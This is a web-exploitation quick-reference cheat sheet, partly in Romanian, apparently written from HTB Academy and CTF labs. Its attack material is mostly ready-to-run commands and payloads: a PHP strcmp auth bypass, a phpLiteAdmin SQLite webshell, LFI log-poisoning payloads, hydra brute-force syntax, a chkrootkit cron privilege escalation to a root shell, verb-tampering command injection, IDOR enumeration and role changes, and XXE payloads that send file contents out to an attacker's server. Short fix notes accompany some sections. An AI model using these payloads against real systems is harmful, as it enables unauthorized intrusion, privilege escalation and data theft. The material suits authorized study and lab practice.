Web Exploitation — Quick Reference
PHP Type Confusion (auth bypass)
strcmp($input, $secret) == 0 fails open when $input is an array → strcmp() returns NULL, NULL == 0 is true.
curl -X POST http://target/login.php -d "username=admin&password[]="
- Works for
strcmp(),strcasecmp(), and any loose==comparison with a function returningNULLon type mismatch. - Detection: submit
password[]=and watch for a redirect / different page size. - Prevention:
hash_equals()or strict===with a string cast(string)$_POST['password'].
phpLiteAdmin 1.9 — RCE (plant a PHP webshell as a SQLite DB)
phpLiteAdmin lets you create a database; the DB file is created in its data directory (often /var/tmp, check the Path to database on the main page). Name it *.php and embed PHP in a column default value:
- Login (default creds are often
admin/admin; otherwise hydra the single password field). - Create DB
shell.php→ file lands at<data_dir>/shell.php. - SQL tab — submit button is named
query, textarea isqueryval, delimiter;:
sql CREATE TABLE 'test' ('payload' TEXT default '<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>') - If the data dir is web-accessible → hit
/db/shell.php?cmd=iddirectly. - If not (e.g.
/var/tmp) → combine with any LFI on the same host to include the file and execute the payload.
Pitfalls:
- phpLiteAdmin form fields: new_dbname (create), queryval+delimiter+query (SQL tab submit) — the page just reloads if you miss the submit field name.
- HTTP 200 + no result usually means the SQL didn't run (wrong field names), not a failed query.
LFI → RCE techniques
# classic traversal (keep the path SHORT — some apps reject long paths)
?notes=/ninevehNotes/../etc/passwd
?page=../../../../../../etc/passwd
# 1. SQLite webshell (above) — most reliable when phpLiteAdmin/DB-write exists
# 2. Log poisoning — inject PHP via User-Agent into access.log, then include it
curl -A '<?php system($_GET["c"]); ?>' http://target/x.php
?notes=../../../../../var/log/apache2/access.log&c=id
# ⚠ logs are often root:adm 640 → www-data CANNOT read them → "failed to open"
# 3. /proc/self/environ — only when CGI/FastCGI puts request vars in env
hydra — HTTP/HTTPS login forms (correct syntax)
The gotcha: do NOT put http:///https:// in front of the IP when using the form modules — hydra fails with Invalid target definition! (it tries to parse the URL as a hostname).
# HTTP form
hydra 10.10.10.1 -l admin -P pass.txt -f http-post-form \
"/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
# HTTPS form (module implies SSL + port 443)
hydra 10.10.10.1 -l admin -P pass.txt -f https-post-form \
"/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect"
# the fail string must appear ONLY on failure pages
# -f = stop on first valid pair
Port knocking (knockd)
# read config from an early shell: /etc/knockd.conf
# [openSSH] sequence = 571, 290, 911 (seq_timeout 5s, tcpflags syn)
# knock with nc (no knockd client needed)
for p in 571 290 911; do nc -z -w1 TARGET $p; sleep 0.3; done
# or with the knock tool
knock TARGET 571 290 911
nc -zv TARGET 22 # now open
Steganography quick hits
strings -n 6 file.png | grep -iE "ssh|BEGIN|zip|secret" # filenames reveal archives
binwalk file.png # appended data
steghide extract -sf file.jpg -p "" # jpeg steg
# PNG with tar/zip appended right after IEND — carve with Python (binwalk may miss it):
python3 -c "
import tarfile, io
data = open('file.png','rb').read()
i = data.find(b'IEND')
t = tarfile.open(fileobj=io.BytesIO(data[i+8:]))
t.extractall('.')
"
steghide false alarm: it always prompts for a passphrase and answers could not extract any data with that passphrase! even on clean files — compare against a known-clean control image before assuming there is hidden data.
Cron privesc — chkrootkit (CVE-2014-0476)
chkrootkit < 0.50 running as root via cron executes /tmp/update during its slapper check:
echo -e '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/update
chmod 755 /tmp/update
sleep 60; ls -la /bin/bash # → -rwsr-xr-x
/bin/bash -p # root shell
HTB Academy — Web Attacks (Verb Tampering · IDOR · XXE)
Note modul completat 2026-09-09. Acoperă: HTTP Verb Tampering, IDOR (basic → encoded → APIs → chaining), XXE (direct → CDATA → error-based → blind OOB). La final: skills assessment rezolvat cap-coadă.
1️⃣ HTTP Verb Tampering
Esență: auth-ul sau filter-ul acoperă doar anumite verbe (GET/POST) — celelalte (PUT, PATCH, HEAD, OPTIONS, DELETE) trec nefiltrate.
Tip 1 — Insecure Server Config (bypass Basic Auth)
# ce verbe acceptă serverul
curl -i -X OPTIONS http://TARGET/
# sweep de verbe pe resursa protejată
for m in HEAD POST PUT PATCH OPTIONS TRACE DELETE; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $m http://TARGET/admin/reset.php)
echo "$m → $code"
done
# 200 pe alt verb decât GET/POST = bypass
Tip 2 — Insecure Coding (bypass security filters)
Filter-ul verifică doar $_GET/$_POST, dar codul citește $_REQUEST → mută parametrul în altă metodă:
# GET cu payload → "Malicious Request Denied!"
curl -s "http://TARGET/?filename=file;cp%20/flag.txt%20./"
# POST cu payload în body → trece (filter-ul nu-l vede)
curl -s -X POST --data-urlencode "filename=file; cp /flag.txt ./" http://TARGET/
✅ Fix
- Limit config:
LimitExcept GET POST+Require valid-user - Filter-ele să acopere toate metodele (verifică
$_REQUEST, nu doar$_GET/$_POST)
2️⃣ IDOR (Insecure Direct Object References)
Esență: referințe directe la obiecte (uid, file_id, id) + lipsa access control pe back-end — front-end-ul doar ascunde butoanele.
2.1 Basic / Mass Enumeration
# link-uri din pagina altui user
curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
# mass enum 1..N (atenție: metoda reală din JS! GET sau POST)
for i in $(seq 1 20); do
curl -s -X POST -d "uid=$i" "http://TARGET/documents.php" | grep -oP "/documents/[^'\"]+"
done
2.2 Encoded / Hashed References (btoa, md5)
Hash-urile NU sunt securitate — funcția de codare stă în JS:
// exemplu din aplicație: downloadContract(uid)
$.redirect("/download.php", { contract: CryptoJS.MD5(btoa(uid)).toString() }, "POST", "_self");
# reproducerea hash-ului
echo -n 1 | base64 -w 0 | md5sum | tr -d ' -'
# apoi POST cu contract=<hash> (sau doar btoa dacă JS-ul real nu are md5!)
⚠️ Citește ÎNTOTDEAUNA JS-ul real — instanțele diferă de lecție (ex. doar btoa(uid), pe GET).
2.3 Insecure APIs + Chaining
# disclosure: citești detaliile oricărui user (uuid, role)
curl -s http://TARGET/api.php/profile/5
# function call: modifici alt user DACA ai uuid-ul lui (verificare doar uid/uuid match, nu autorizație)
curl -s -X PUT -H "Content-Type: application/json" \
-d '{"uid":"10","uuid":"<uuid>","role":"staff_admin","email":"[email protected]"}' \
http://TARGET/api.php/profile/10
# enumerare roluri/useri admin
for i in $(seq 1 30); do curl -s http://TARGET/api.php/user/$i; done | grep -i "admin"
2.4 Token/Password Reset IDOR
# token de reset pt ORICE uid (IDOR)
curl -s http://TARGET/api.php/token/52 # → {"token":"..."}
✅ Fix
- Access control pe back-end la FIECARE obiect:
WHERE id=? AND owner_id=<session_user> - Nu baza autorizarea pe cookie/parametri controlabili de client (
role=employee)
3️⃣ XXE (XML External Entity)
Esență: XML din input nesecurizat; entități externe (SYSTEM) citesc fișiere de pe server.
3.1 Identificare
- Găsești input XML (formular cu
Content-Type: application/xml,addEvent.php, SOAP) - Test: DOCTYPE + entitate internă → vezi dacă se substituie în răspuns
<!DOCTYPE email [<!ENTITY company "Inlane Freight">]>
3.2 Direct File Read
<!DOCTYPE email [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
Fișiere cu caractere speciale (cod sursă PHP) → php://filter base64:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
3.3 CDATA (fișiere cu caractere speciale, orice limbaj)
Hostezi DTD pe tine și folosești parameter entities (nu se pot îmbina direct entități interne+externe):
<!-- xxe.dtd pe serverul tău: -->
<!ENTITY joined "%begin;%file;%end;">
<!DOCTYPE root [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/flag.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://TU:8000/xxe.dtd">
%xxe;
]>
<root><email>&joined;</email></root>
3.4 Error-Based (când nu se reflectă nimic, dar sunt afișate erori)
<!-- xxe.dtd: -->
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExisting;/%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://TU:8000/xxe.dtd"> %remote; %error;]>
3.5 Blind → OOB Exfiltration (nimic reflectat, nicio eroare)
Target-ul te sune pe tine cu conținutul în URL:
<!-- xxe_oob.dtd: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://TU:8000/?c=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://TU:8000/xxe_oob.dtd"> %remote; %oob;]>
<root>&content;</root>
# prinde base64 din logul serverului tău și decodează
grep -aoE "c=[A-Za-z0-9+/=]+" /tmp/hs.log | head -1 | cut -d= -f2 | base64 -d
Alternativă automată: XXEinjector.rb --host=TU --httpport=8000 --file=req.txt --path=/flag.php --oob=http --phpfilter
⚠️ Capcane practice (întâlnite):
- php://filter merge în entități directe, dar eșuează în parameter entities din DTD extern → folosește file:// + CDATA sau error-based
- Fișierul poate fi la rădăcina FS (file:///flag.php), nu în webroot → GET http://.../flag.php dă 404 dar XXE îl citește
✅ Fix
libxml_disable_entity_loader(true)/noentOFF- Parsează XML fără DTD externe:
documentType→ interzis - Nu afișa erori de parsare utilizatorilor (
display_errorsoff)
Lecții (fără detalii de assessment): fiecare vulnerabilitate singură poate părea inofensivă; împreună (IDOR → Verb Tampering → PrivEsc → XXE) duc la flag. Citește mereu JS-ul real; testează metodele reale; instanțele diferă de lecție.